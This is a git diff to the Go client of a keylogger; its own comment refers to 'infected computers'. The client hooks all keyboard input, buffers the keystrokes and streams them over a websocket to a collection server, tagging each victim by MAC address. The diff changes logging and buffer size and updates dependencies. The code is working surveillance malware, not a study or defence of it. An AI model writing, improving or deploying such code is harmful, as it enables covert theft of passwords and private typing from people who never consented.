diff --git a/client/go.mod b/client/go.mod index 9c718d5..7ef6c86 100644 --- a/client/go.mod +++ b/client/go.mod @@ -8,4 +8,12 @@ require ( github.com/robotn/gohook v0.42.3 ) -require github.com/vcaesar/keycode v0.10.1 // indirect +require ( + github.com/labstack/gommon v0.4.2 // indirect + github.com/mattn/go-colorable v0.1.13 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect + github.com/valyala/bytebufferpool v1.0.0 // indirect + github.com/valyala/fasttemplate v1.2.2 // indirect + github.com/vcaesar/keycode v0.10.1 // indirect + golang.org/x/sys v0.15.0 // indirect +) diff --git a/client/go.sum b/client/go.sum index c807ac1..52bc4cc 100644 --- a/client/go.sum +++ b/client/go.sum @@ -2,9 +2,24 @@ github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/labstack/gommon v0.4.2 h1:F8qTUNXgG1+6WQmqoUWnz8WiEU60mXVVw0P4ht1WRA0= +github.com/labstack/gommon v0.4.2/go.mod h1:QlUFxVM+SNXhDL/Z7YhocGIBYOiwB0mXm1+1bAPHPyU= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/robotn/gohook v0.42.3 h1:6Pm6q4gOn+CNjDpiBTWqPwbCJF4+0WD/Fdizlztua2U= github.com/robotn/gohook v0.42.3/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE= +github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw= +github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= +github.com/valyala/fasttemplate v1.2.2 h1:lxLXG0uE3Qnshl9QyaK6XJxMXlQZELvChBOCmQD0Loo= +github.com/valyala/fasttemplate v1.2.2/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw= github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ= github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4= github.com/vcaesar/tt v0.20.1/go.mod h1:cH2+AwGAJm19Wa6xvEa+0r+sXDJBT0QgNQey6mwqLeU= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= +golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= diff --git a/client/main.go b/client/main.go index fce93f9..d6c404f 100644 --- a/client/main.go +++ b/client/main.go @@ -2,9 +2,9 @@ package main import ( "bytes" + "crypto/rand" "encoding/hex" "fmt" - "math/rand" "net" "net/url" "os" @@ -12,6 +12,7 @@ import ( "time" "github.com/gorilla/websocket" + "github.com/labstack/gommon/log" hook "github.com/robotn/gohook" ) @@ -23,16 +24,10 @@ const ( ENTER_KEYCHAR = 13 REG_START = 32 REG_END = 255 + + BUFF_SIZE = 16 // shouldn't be lower than 8 (because overflow might happen), shouldn't be higher than 128 (because the message frequency will be too low and data may be lost) ) -var debug = false - -func log(msg string, formats ...any) { - if debug { - fmt.Printf(msg, formats...) - } -} - // get mac address so we can differentiate between separate infected computers/clients func getId() []byte { interfaces, err := net.Interfaces() @@ -52,36 +47,43 @@ func getId() []byte { } func main() { + log.SetHeader("${time_rfc3339} ${level}") + debugRaw := strings.ToLower(os.Getenv("DEBUG")) + if debugRaw == "true" || debugRaw == "1" || debugRaw == "yes" { + log.SetLevel(log.DEBUG) + } else { + log.SetLevel(log.WARN) + } + id := getId() var resource = url.URL{Scheme: "ws", Host: "localhost:8080", Path: "/keys", RawQuery: fmt.Sprintf("id=%s", hex.EncodeToString(id))} - debugRaw := strings.ToLower(os.Getenv("DEBUG")) - debug = debugRaw == "true" || debugRaw == "1" || debugRaw == "yes" + var conn *websocket.Conn var err error var tries = 0 for { - log("attempting to dial: %s\n", resource.String()) + log.Debugf("attempting to dial: %s", resource.String()) conn, _, err = websocket.DefaultDialer.Dial(resource.String(), nil) if err != nil { - log("dialing failed\n") + log.Errorf("dialing failed") tries += 1 if tries >= 3 { return } time.Sleep(time.Second) } else { - log("dialing succesful\n") + log.Infof("dialing succesful") break } } defer conn.Close() go func() { - defer os.Exit(0) + defer os.Exit(0) // if error occurs or conn is closed, exit the program for { kind, _, err := conn.ReadMessage() - log("read message of kind %v\n", kind) + log.Debugf("read message of kind %v", kind) if err != nil { return } @@ -93,10 +95,10 @@ func main() { evChan := hook.Start() defer hook.End() - buff := make([]byte, 64) + buff := make([]byte, BUFF_SIZE * 2) for ev := range evChan { - log("received event: %d (%c)\n", ev.Rawcode, ev.Keychar) + log.Debugf("received event: %d (%c)", ev.Rawcode, ev.Keychar) switch ev.Rawcode { case SHIFT_RAWCODE: @@ -150,10 +152,10 @@ func main() { } } - if len(buff) >= 32 { - log("writing buffer") - conn.WriteMessage(websocket.TextMessage, buff[:32]) - buff = buff[32:] + if len(buff) >= BUFF_SIZE { + log.Debugf("writing buffer") + conn.WriteMessage(websocket.TextMessage, buff[:BUFF_SIZE]) + buff = buff[BUFF_SIZE:] } } }